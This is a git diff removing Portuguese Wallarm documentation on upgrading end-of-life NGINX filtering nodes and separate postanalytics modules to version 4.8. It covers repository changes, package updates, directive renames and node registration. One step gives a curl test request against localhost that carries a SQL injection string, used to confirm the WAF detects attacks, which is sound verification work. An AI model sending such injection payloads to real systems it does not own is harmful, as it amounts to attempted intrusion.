descrição detalhada está disponível no [link][wallarm-status-instr] - -Além disso, a configuração do módulo de postanalítica (configurações do banco de dados Tarantool) geralmente está localizada aqui: - -* `/etc/default/wallarm-tarantool` ou -* `/etc/sysconfig/wallarm-tarantool` - -**Arquivos de destino** - -Como o instalador all-in-one funciona com diferentes combinações de SO e versões do NGINX, em sua nova máquina, os [arquivos de destino](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) podem ter nomes diferentes e estar localizados em diretórios diferentes. - -Ao transferir a configuração, você precisa realizar as etapas listadas abaixo. - -#### Renomeie as diretivas NGINX descontinuadas - -Renomeie as seguintes diretivas NGINX se elas estiverem explicitamente especificadas nos arquivos de configuração: - -* `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) -* `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) -* `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) -* `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - -Nós só mudamos os nomes das diretivas, sua lógica permanece a mesma. As diretivas com nomes anteriores serão descontinuadas em breve, então recomendamos que você as renomeie antes. - -#### Atualize as variáveis de log do nó - -Na nova versão do nó, as seguintes mudanças nas [variáveis de log do nó](../../admin-en/configure-logging.md#filter-node-variables) foram implementadas: - -* A variável `wallarm_request_time` foi renomeada para `wallarm_request_cpu_time`. - - Só mudamos o nome da variável, a lógica dela permanece a mesma. O nome antigo ainda é suportado temporariamente, mas ainda assim é recomendado renomear a variável. -* A variável `wallarm_request_mono_time` foi adicionada - coloque-a na configuração do formato de log se precisar das informações de log sobre o tempo total sendo a soma de: - - * Tempo na fila - * Tempo em segundos que a CPU gastou processando a solicitação - -#### Ajuste as configurações do modo de filtragem do nó Wallarm para mudanças liberadas nas últimas versões - -1. Verifique se o comportamento esperado das configurações listadas abaixo corresponde à [lógica modificada dos modos de filtragem `off` e `monitoring`](what-is-new.md#filtration-modes): - * [Diretiva `wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Regra de filtragem geral configurada no Console Wallarm](../../user-guides/settings/general.md) - * [Regras de filtragem de baixo nível configuradas no Console Wallarm](../../user-guides/rules/wallarm-mode-rule.md) -2. Se o comportamento esperado não corresponder à lógica modificada do modo de filtragem, ajuste as configurações do modo de filtragem para mudanças lançadas usando as [instruções](../../admin-en/configure-wallarm-mode.md). - -#### Transfira a configuração de detecção de ataque `overlimit_res` de diretivas para a regra - ---8<-- "../include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-nginx.md" - -#### Atualize o conteúdo do arquivo `wallarm-status.conf` - -Atualize o conteúdo de `/etc/nginx/conf.d/wallarm-status.conf` da seguinte maneira: - -``` -server { - listen 127.0.0.8:80; - server_name localhost; - - allow 127.0.0.0/8; # O acesso está disponível apenas para endereços de loopback do servidor de nó de filtragem - deny all; - - wallarm_mode off; - disable_acl "on"; # A verificação das fontes de solicitação está desativada, os IPs da lista negra têm permissão para solicitar o serviço wallarm-status. https://docs.wallarm.com/admin-en/configure-parameters-en/#disable_acl - access_log off; - - location ~/wallarm-status$ { - wallarm_status on; - } -} -``` - -[Mais detalhes sobre a configuração do serviço de estatísticas](../../admin-en/configure-statistics-service.md) - -### Passo 9: Reative o módulo de Verificação de ameaças ativas (somente se estiver atualizando o nó 2.16 ou abaixo) - -Aprenda a [recomendação sobre a configuração do módulo Verificação de ameaças ativas](../../vulnerability-detection/threat-replay-testing/setup.md) e reative-o, se necessário. - -Depois de um tempo, verifique se a operação do módulo não está causando falsos positivos. Se descobrir falsos positivos, entre em contato com o [suporte técnico da Wallarm](mailto:support@wallarm.com). - -### Passo 10: Configure o tráfego para o nó Wallarm - -Dependendo da abordagem de implantação em uso, realize as seguintes configurações: - -=== "In-line" - Atualize os destinos de seu balanceador de carga para enviar tráfego para a instância Wallarm. Para obter detalhes, consulte a documentação de seu balanceador de carga. - - Antes de redirecionar completamente o tráfego para o novo nó, é recomendado primeiro redirecioná-lo parcialmente e verificar que o novo nó se comporta conforme o esperado. - -=== "Out-of-Band" - Configure seu servidor web ou proxy (por exemplo, NGINX, Envoy) para espelhar o tráfego de entrada para o nó Wallarm. Para detalhes de configuração, recomendamos referir-se à documentação de seu servidor web ou proxy. - - Dentro do [link][web-server-mirroring-examples], você encontrará a configuração de exemplo para os servidores web e proxy mais populares (NGINX, Traefik, Envoy). - -### Passo 11: Remova o nó antigo - -1. Delete o nó antigo no Console Wallarm → **Nós** selecionando seu nó e clicando em **Excluir**. -1. Confirme a ação. - - Quando o nó é excluído do Cloud, ele para a filtragem de solicitações para suas aplicações. A exclusão do nó de filtragem não pode ser desfeita. O nó será excluído permanentemente da lista de nós. - -1. Delete a máquina com o nó antigo ou apenas limpe-a dos componentes do nó Wallarm: - - === "Debian" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "Ubuntu" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "CentOS or Amazon Linux 2.0.2021x and lower" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "RHEL 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - -## Atualização manual - -### Requisitos para atualização manual - ---8<-- "../include-pt-BR/waf/installation/basic-reqs-for-upgrades.md" - -### Procedimento de atualização - -* Se os módulos de nó de filtragem e postanalítica estiverem instalados no mesmo servidor, siga as instruções abaixo para atualizar todos os pacotes. -* Se os módulos de nó de filtragem e postanalítica estiverem instalados em servidores diferentes, **primeiro** atualize o módulo postanalytics seguindo estas [instruções](separate-postanalytics.md) e depois execute as etapas abaixo para os módulos de nó de filtragem. - -### Passo 1: Desative o módulo de Verificação de ameaças ativas (se estiver atualizando nó 2.16 ou abaixo) - -Se estiver atualizando o nó Wallarm 2.16 ou abaixo, desative o módulo [Verificação de ameaças ativas](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) no Console Wallarm → **Vulnerabilidades** → **Configurar**. - -A operação do módulo pode causar [falsos positivos](../../about-wallarm/protecting-against-attacks.md#false-positives) durante o processo de atualização. Desativar o módulo minimiza este risco. - -### Passo 2: Atualize a porta da API - ---8<-- "../include-pt-BR/waf/upgrade/api-port-443.md" - -### Passo 3: Atualize o NGINX para a versão mais recente - -Atualize o NGINX para a versão mais recente usando as instruções relevantes: - -=== "NGINX estável" - - Distribuições baseadas em DEB: - - ```bash - sudo apt update - sudo apt -y install nginx - ``` - - Distribuições baseadas em RPM: - - ```bash - sudo yum update - sudo yum install -y nginx - ``` -=== "NGINX Plus" - Para o NGINX Plus, siga as [instruções de atualização oficiais](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-plus/#upgrading-nginx-plus). -=== "NGINX da repositório Debian/CentOS" - Para NGINX [instalado do repositório Debian/CentOS](../../installation/nginx/dynamic-module-from-distr.md), pule esta etapa. A versão instalada do NGINX será atualizada [mais tarde](#step-7-upgrade-wallarm-packages) junto com os módulos Wallarm. - -Se sua infraestrutura precisa usar uma versão específica do NGINX, entre em contato com o [suporte técnico da Wallarm](mailto:support@wallarm.com) para construir o módulo Wallarm para uma versão personalizada do NGINX. - -### Passo 4: Adicione novo repositório Wallarm - -Exclua o endereço do repositório Wallarm anterior e adicione um repositório com um novo pacote de versão de nó Wallarm. Por favor, use os comandos para a plataforma apropriada. - -**CentOS and Amazon Linux 2.0.2021x and lower** - -=== "CentOS 7 and Amazon Linux 2.0.2021x and lower" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "CentOS 8" - !!! warning "O suporte para CentOS 8.x foi descontinuado" - O suporte para CentOS 8.x [foi descontinuado](https://www.centos.org/centos-linux-eol/). Você pode instalar o nó Wallarm no sistema operacional AlmaLinux, Rocky Linux, Oracle Linux 8.x ou RHEL 8.x. - - * [Instruções de instalação para NGINX `estável`](../../installation/nginx/dynamic-module.md) - * [Instruções de instalação para NGINX dos repositórios do CentOS/Debian](../../installation/nginx/dynamic-module-from-distr.md) - * [Instruções de instalação para NGINX Plus](../../installation/nginx-plus.md) -=== "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -**Debian e Ubuntu** - -1. Abra o arquivo com o endereço do repositório Wallarm no editor de texto instalado. Nestas instruções, **vim** é usado. - - ```bash - sudo vim /etc/apt/sources.list.d/wallarm.list - ``` -2. Comente ou exclua o endereço do repositório anterior. -3. Adicione um novo endereço de repositório: - - === "Debian 10.x (buster)" - !!! warning "Não suportado pelo NGINX estável e NGINX Plus" - As versões oficiais do NGINX (estável e Plus) e, consequentemente, o nó Wallarm 4.4 e acima não podem ser instalados no Debian 10.x (buster). Use este SO apenas se [o NGINX for instalado dos repositórios Debian/CentOS](../../installation/nginx/dynamic-module-from-distr.md). - - ```bash - deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/ - ``` - === "Debian 11.x (bullseye)" - ```bash - deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/ - ``` - === "Ubuntu 18.04 LTS (bionic)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/ - ``` - === "Ubuntu 20.04 LTS (focal)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ - ``` - -### Passo 5: Migrar allowlists e denylists da versão anterior do nó Wallarm para 4.8 (somente se estiver atualizando nó 2.18 ou abaixo) - -Se estiver atualizando nó 2.18 ou abaixo, [migre](../migrate-ip-lists-to-node-3.md) a configuração de allowlist e denylist da versão anterior do nó Wallarm para a versão mais recente. - -### Passo 6: Atualize os pacotes Wallarm - -#### Nó de filtragem e postanalytics no mesmo servidor - -Execute o comando a seguir para atualizar os módulos de nó de filtragem e postanalítica: - -=== "Debian" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include-pt-BR/waf/upgrade/details-about-dist-upgrade.md" -=== "Ubuntu" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include-pt-BR/waf/upgrade/details-about-dist-upgrade.md" -=== "CentOS or Amazon Linux 2.0.2021x and lower" - ```bash - sudo yum update - ``` -=== "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo yum update - ``` -=== "RHEL 8.x" - ```bash - sudo yum update - ``` - -#### Nó de filtragem e postanalytics em servidores diferentes - -!!! warning "Sequência de etapas para atualizar os módulos de nó de filtragem e postanalytics" - Se os módulos de nó de filtragem e postanalítica estiverem instalados em servidores diferentes, será necessário atualizar os pacotes de postanalítica antes de atualizar os pacotes de nó de filtragem. - -1. Atualize os pacotes do módulo postanalytics seguindo estas [instruções](separate-postanalytics.md). -2. Atualize os pacotes do nó Wallarm: - - === "Debian" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include-pt-BR/waf/upgrade/details-about-dist-upgrade.md" - === "Ubuntu" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include-pt-BR/waf/upgrade/details-about-dist-upgrade.md" - === "CentOS or Amazon Linux 2.0.2021x and lower" - ```bash - sudo yum update - ``` - === "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo yum update - ``` - === "RHEL 8.x" - ```bash - sudo yum update - ``` -3. Se o gerenciador de pacotes pedir confirmação para reescrever o conteúdo do arquivo de configuração `/etc/cron.d/wallarm-node-nginx`: - - 1. Certifique-se de que a [migração das listas de IP](#step-6-migrate-allowlists-e-denylists-from-previous-wallarm-node-version-to-42) foi concluída. - 2. Confirme a reescrita do arquivo usando a opção `Y`. - - O gerenciador de pacotes pediria confirmação para reescrever se o arquivo `/etc/cron.d/wallarm-node-nginx` tivesse sido alterado nas versões anteriores do nó Wallarm. Como a lógica da lista de IPs foi alterada no nó Wallarm 3.x, o conteúdo do `/etc/cron.d/wallarm-node-nginx` foi atualizado de acordo. Para que a lista de IPs negados funcione corretamente, o nó Wallarm 3.x deve usar o arquivo de configuração atualizado. - - Por padrão, o gerenciador de pacotes usa a opção `N`, mas a opção `Y` é necessária para a correta operação da lista de IPs negados no nó Wallarm 3.x. - -### Passo 7: Atualize o tipo do nó - -O nó implantado tem o tipo **regular** descontinuado que é [substituído agora pelo novo tipo **Nó Wallarm**](what-is-new.md#unified-registration-of-nodes-in-the-wallarm-cloud-by-tokens). - -É recomendável instalar o novo tipo de nó em vez do descontinuado durante a migração para a versão 4.8. O tipo de nó regular será removido em lançamentos futuros. Por favor, migre antes. - -!!! info "Se o módulo pós-analítico está instalado em um servidor separado" - Se os módulos de processamento de tráfego inicial e pós-analítico estiverem instalados em servidores separados, é recomendado conectar esses módulos ao Wallarm Cloud usando o mesmo token de nó. A interface de usuário do Console Wallarm exibirá cada módulo como uma instância de nó separada, por exemplo: - - ![Nó com várias instâncias](../../images/user-guides/nodes/wallarm-node-with-two-instances.png) - - O nó Wallarm já foi criado durante a [atualização do módulo pós-analítico separado](separate-postanalytics.md). Para conectar o módulo de processamento de tráfego inicial ao Cloud usando as mesmas credenciais do nó: - - 1. Copie o token do nó gerado durante a atualização do módulo pós-analítico separado. - 2. Prossiga para o quarto passo na lista abaixo. - -Para substituir o nó regular pelo nó Wallarm: - -1. Abra o Wallarm Console → **Nós** no [Cloud US](https://us1.my.wallarm.com/nodes) ou [Cloud EU](https://my.wallarm.com/nodes) e crie o nó do tipo **Nó Wallarm**. - - ![Criação do nó Wallarm][img-create-wallarm-node] -1. Copie o token gerado. -1. Pausar o serviço NGINX no servidor com o nó da versão anterior: - - === "Debian" - ```bash - sudo systemctl stop nginx - ``` - === "Ubuntu" - ```bash - sudo service nginx stop - ``` - === "CentOS or Amazon Linux 2.0.2021x and lower" - ```bash - sudo systemctl stop nginx - ``` - === "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo systemctl stop nginx - ``` - === "RHEL 8.x" - ```bash - sudo systemctl stop nginx - ``` - - A pausa do serviço NGINX mitiga o risco de cálculo incorreto do RPS. -1. Execute o script `register-node` para executar o **Nó Wallarm**: - - === "Nuvem EUA" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com --force - ``` - === "Nuvem UE" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --force - ``` - - * `` é o valor copiado do token do nó ou do token de API com a função `Deploy`. - * A opção `--force` força a reescrita das credenciais de acesso ao Wallarm Cloud especificadas no arquivo `/etc/wallarm/node.yaml`. - -### Passo 8: Atualize a página de bloqueio Wallarm - -Na nova versão do nó, a página de amostra de bloqueio da Wallarm foi [modificada](what-is-new.md#new-blocking-page). O logotipo e o e-mail de suporte na página agora estão vazios por padrão. - -Se a página `&/usr/share/nginx/html/wallarm_blocked.html` foi configurada para ser retornada em resposta a solicitações bloqueadas, [copie e personalize](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) a nova versão de uma página de amostra. - -### Passo 9: Renomeie as diretivas NGINX descontinuadas - -Renomeie as seguintes diretivas NGINX se elas estiverem explicitamente especificadas nos arquivos de configuração: - -* `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) -* `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) -* `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) -* `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - -Nós só mudamos os nomes das diretivas, sua lógica permanece a mesma. As diretivas com nomes anteriores serão descontinuadas em breve, então recomendamos que você as renomeie antes. - -### Passo 10: Atualize as variáveis de log do nó - -Na nova versão do nó, as seguintes mudanças nas [variáveis de log do nó](../../admin-en/configure-logging.md#filter-node-variables) foram implementadas: - -* A variável `wallarm_request_time` foi renomeada para `wallarm_request_cpu_time`. - - Só mudamos o nome da variável, a lógica dela permanece a mesma. O nome antigo ainda é suportado temporariamente, mas ainda assim é recomendado renomear a variável. -* A variável `wallarm_request_mono_time` foi adicionada - coloque-a na configuração do formato de log se precisar das informações de log sobre o tempo total sendo a soma de: - - * Tempo na fila - * Tempo em segundos que a CPU gastou processando a solicitação - -### Passo 11: Ajuste as configurações do modo de filtragem do nó Wallarm para mudanças liberadas nas últimas versões - -1. Verifique se o comportamento esperado das configurações listadas abaixo corresponde à [lógica modificada dos modos de filtragem `off` e `monitoring`](what-is-new.md#filtration-modes): - * [Diretiva `wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Regra de filtragem geral configurada no Console Wallarm](../../user-guides/settings/general.md) - * [Regras de filtragem de baixo nível configuradas no Console Wallarm](../../user-guides/rules/wallarm-mode-rule.md) -2. Se o comportamento esperado não corresponder à lógica modificada do modo de filtragem, ajuste as configurações do modo de filtragem para mudanças lançadas usando as [instruções](../../admin-en/configure-wallarm-mode.md). - -### Passo 12: Transfira a configuração de detecção de ataque `overlimit_res` de diretivas para a regra - ---8<-- "../include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-nginx.md" - -### Passo 13: Atualize o conteúdo do arquivo `wallarm-status.conf` - -Atualize o conteúdo de `/etc/nginx/conf.d/wallarm-status.conf` da seguinte maneira: - -``` -server { - listen 127.0.0.8:80; - server_name localhost; - - allow 127.0.0.0/8; # O acesso está disponível apenas para endereços de loopback do servidor de nó de filtragem - deny all; - - wallarm_mode off; - disable_acl "on"; # A verificação das fontes de solicitação está desativada, os IPs da lista negra têm permissão para solicitar o serviço wallarm-status. https://docs.wallarm.com/admin-en/configure-parameters-en/#disable_acl - access_log off; - - location ~/wallarm-status$ { - wallarm_status on; - } -} -``` - -[Mais detalhes sobre a configuração do serviço de estatísticas](../../admin-en/configure-statistics-service.md) - -### Passo 14: Reinicie o NGINX - ---8<-- "../include-pt-BR/waf/installation/restart-nginx-systemctl.md" - -### Passo 15: Teste a operação do nó Wallarm - -Para testar a operação do novo nó: - -1. Envie a solicitação com teste de ataques [SQLI][sqli-attack-docs] e [XSS][xss-attack-docs] para o endereço do recurso protegido: - - ``` - curl http://localhost/?id='or+1=1--a-' - ``` - -1. Abra a seção Console Wallarm → **Eventos** no [Nuvem US](https://us1.my.wallarm.com/attacks) ou [Nuvem EU](https://my.wallarm.com/attacks) e certifique-se de que os ataques estão exibidos na lista. -1. Assim que seus dados armazenados na Cloud (regras, listas de IP) forem sincronizados com o novo nó, realize alguns ataques de teste para se certificar de que suas regras funcionam conforme o esperado. - -### Passo 16: Exclua o nó da versão anterior - -Uma vez que a operação do novo nó está devidamente testada, abra a seção **Nós** do Console Wallarm e exclua o nó regular da versão anterior da lista. - -Se o módulo postanalytics estiver instalado em um servidor separado, exclua também a instância de nó relacionada a este módulo. - -## Personalização de configurações - -Os módulos Wallarm são atualizados para a versão 4.8. As configurações do nó de filtragem anterior serão aplicadas automaticamente à nova versão. Para fazer configurações adicionais, use as [diretivas disponíveis](../../admin-en/configure-parameters-en.md). - ---8<-- "../include-pt-BR/waf/installation/common-customization-options-nginx-4.4.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/older-versions/separate-postanalytics.md b/docs/latest-pt-BR/updating-migrating/older-versions/separate-postanalytics.md deleted file mode 100644 index f055d814d8..0000000000 --- a/docs/latest-pt-BR/updating-migrating/older-versions/separate-postanalytics.md +++ /dev/null @@ -1,239 +0,0 @@ -[docs-module-update]: nginx-modules.md -[img-wl-console-users]: ../../images/check-users.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[img-attacks-in-interface]: ../../images/admin-guides/test-attacks-quickstart.png -[nginx-custom]: ../../custom/custom-nginx-version.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[tarantool-status]: ../../images/tarantool-status.png -[statistics-service-all-parameters]: ../../admin-en/configure-statistics-service.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md - -# Atualizando o módulo EOL pós-análises - -Estas instruções descrevem as etapas para atualizar o módulo pós-análise fim de vida (versão 3.6 e inferior) instalado em um servidor separado. O módulo pós-análise deve ser atualizado antes de [Atualização dos módulos NGINX Wallarm][docs-module-update]. - ---8<-- "../include-pt-BR/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -## Métodos de atualização - ---8<-- "../include-pt-BR/waf/installation/upgrade-methods.md" - -## Atualização com o instalador tudo-em-um - -Use o procedimento abaixo para atualizar o módulo pós-análise fim de vida (versão 3.6 e inferior) instalado em um servidor separado para a versão 4.8 usando o [instalador tudo-em-um](../../installation/nginx/all-in-one.md). - -### Requisitos para atualização usando o instalador tudo-em-um - ---8<-- "../include-pt-BR/waf/installation/all-in-one-upgrade-requirements.md" - -### Passo 1: Prepare uma máquina limpa - ---8<-- "../include-pt-BR/waf/installation/all-in-one-clean-machine.md" - -### Passo 2: Prepare o token Wallarm - ---8<-- "../include-pt-BR/waf/installation/all-in-one-token.md" - -### Passo 3: Baixe o instalador tudo-em-um Wallarm - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-download.md" - -### Passo 4: Execute o instalador tudo-em-um Wallarm para instalar pós-análises - ---8<-- "../include-pt-BR/waf/installation/all-in-one-postanalytics.md" - -### Passo 5: Atualize a porta da API - ---8<-- "../include-pt-BR/waf/upgrade/api-port-443.md" - -### Passo 6: Atualize o módulo NGINX-Wallarm em um servidor separado - -Uma vez que o módulo pós-análise foi instalado em um servidor separado, [atualize o NGINX-Wallarm module](nginx-modules.md) relacionado que está em execução em um servidor diferente. - -!!! info "Combinando métodos de atualização" - Ambas as abordagens manual e automática podem ser usadas para atualizar o módulo NGINX-Wallarm relacionado. - -### Passo 7: Reconecte o módulo NGINX-Wallarm ao módulo pós-análise - ---8<-- "../include-pt-BR/waf/installation/all-in-one-postanalytics-reconnect.md" - -### Passo 8: Verifique a interação dos módulos NGINX‑Wallarm e separado de pós-análises - ---8<-- "../include-pt-BR/waf/installation/all-in-one-postanalytics-check.md" - -### Passo 9: Remova o antigo módulo pós-análise - ---8<-- "../include-pt-BR/waf/installation/all-in-one-postanalytics-remove-old.md" - -## Atualização manual - -Use o procedimento abaixo para atualizar manualmente o módulo pós-análise fim de vida (versão 3.6 e inferior) instalado em um servidor separado para a versão 4.8. - -### Requisitos - ---8<-- "../include-pt-BR/waf/installation/basic-reqs-for-upgrades.md" - -### Passo 1: Atualize a porta da API - ---8<-- "../include-pt-BR/waf/upgrade/api-port-443.md" - -### Passo 2: Adicione um novo repositório Wallarm - -Delete o endereço do repositório Wallarm anterior e adicione um repositório com novos pacotes de versão de nó Wallarm. Por favor, use os comandos para a plataforma apropriada. - -**CentOS e Amazon Linux 2.0.2021x e inferiores** - -=== "CentOS 7 e Amazon Linux 2.0.2021x e inferiores" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "CentOS 8" - !!! warning "O suporte para CentOS 8.x foi descontinuado" - O suporte para CentOS 8.x [foi descontinuado](https://www.centos.org/centos-linux-eol/). Você pode instalar o nó Wallarm no sistema operacional AlmaLinux, Rocky Linux, Oracle Linux 8.x ou RHEL 8.x em vez disso. - - * [Instruções de instalação para NGINX 'stable'](../../installation/nginx/dynamic-module.md) - * [Instruções de instalação para NGINX de repositórios CentOS/Debian](../../installation/nginx/dynamic-module-from-distr.md) - * [Instruções de instalação para NGINX Plus](../../installation/nginx-plus.md) -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -**Debian e Ubuntu** - -1. Abra o arquivo com o endereço do repositório Wallarm no editor de texto instalado. Nesta instrução, **vim** é usado. - - ```bash - sudo vim /etc/apt/sources.list.d/wallarm.list - ``` -2. Comente ou delete o endereço do repositório anterior. -3. Adicione um novo endereço de repositório: - - === "Debian 10.x (buster)" - !!! warning "Não suportado por NGINX estável e NGINX Plus" - As versões oficiais do NGINX (estável e Plus) e, como resultado, o nó Wallarm 4.4 e acima não podem ser instalados no Debian 10.x (buster). Por favor, use este SO apenas se o [NGINX for instalado a partir dos repositórios Debian/CentOS](../../installation/nginx/dynamic-module-from-distr.md). - - ```bash - deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/ - ``` - === "Debian 11.x (bullseye)" - ```bash - deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/ - ``` - === "Ubuntu 18.04 LTS (bionic)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/ - ``` - === "Ubuntu 20.04 LTS (focal)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ - ``` - -### Passo 3: Atualize os pacotes Tarantool - -=== "Debian" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include-pt-BR/waf/upgrade/details-about-dist-upgrade.md" -=== "Ubuntu" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include-pt-BR/waf/upgrade/details-about-dist-upgrade.md" -=== "CentOS ou Amazon Linux 2.0.2021x e inferiores" - ```bash - sudo yum update - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum update - ``` -=== "RHEL 8.x" - ```bash - sudo yum update - ``` - -### Passo 4: Atualize o tipo de nó - -O nó pós-análises implantado 3.6 ou inferior possui o tipo obsoleto **regular** que é [agora substituído pelo novo tipo de nó **Wallarm node**](what-is-new.md#unified-registration-of-nodes-in-the-wallarm-cloud-by-tokens). - -É recomendado instalar o novo tipo de nó em vez do obsoleto durante a migração para a versão 4.8. O tipo de nó regular será removido em futuras versões, por favor, migre antes. - -Para substituir o nó regular pós-análises pelo Wallarm node: - -1. Abra Wallarm Console → **Nodes** [Nuvem US](https://us1.my.wallarm.com/nodes) ou [Nuvem EU](https://my.wallarm.com/nodes) e crie o nó **Wallarm node**. - - ![Criação do nó Wallarm][img-create-wallarm-node] -1. Copie o token gerado. -1. Execute o script `register-node` para executar o **Wallarm node**: - - === "Nuvem US" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com --force --no-sync --no-sync-acl - ``` - === "Nuvem EU" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --force --no-sync --no-sync-acl - ``` - - * `` é o valor copiado do token de nó ou token de API com a função `Deploy`. - * A opção `--force` força a reescritura das credenciais de acesso à Wallarm Cloud especificadas no arquivo `/etc/wallarm/node.yaml`. - -
            -

            Usando um token para várias instalações

            -

            Você tem duas opções para usar um token para várias instalações:

            -
              -
            • **Para todas as versões de nó**, você pode usar um [**token de nó**](../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node) em várias instalações, independentemente da [plataforma](../../installation/supported-deployment-options.md) selecionada. Isso permite a agrupação lógica de instâncias de nó na interface do usuário do Console Wallarm. Exemplo: você implanta vários nós Wallarm em um ambiente de desenvolvimento, cada nó está em sua própria máquina de propriedade de um determinado desenvolvedor.
              • -
            • -

              **A partir do nó 4.6**, para agrupamento de nós, você pode usar um [**token API**](../../user-guides/settings/api-tokens.md) com a função `Deploy` junto com a flag `--labels 'group='`, por exemplo:

              - - ``` - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' - ``` -

              -
              • -
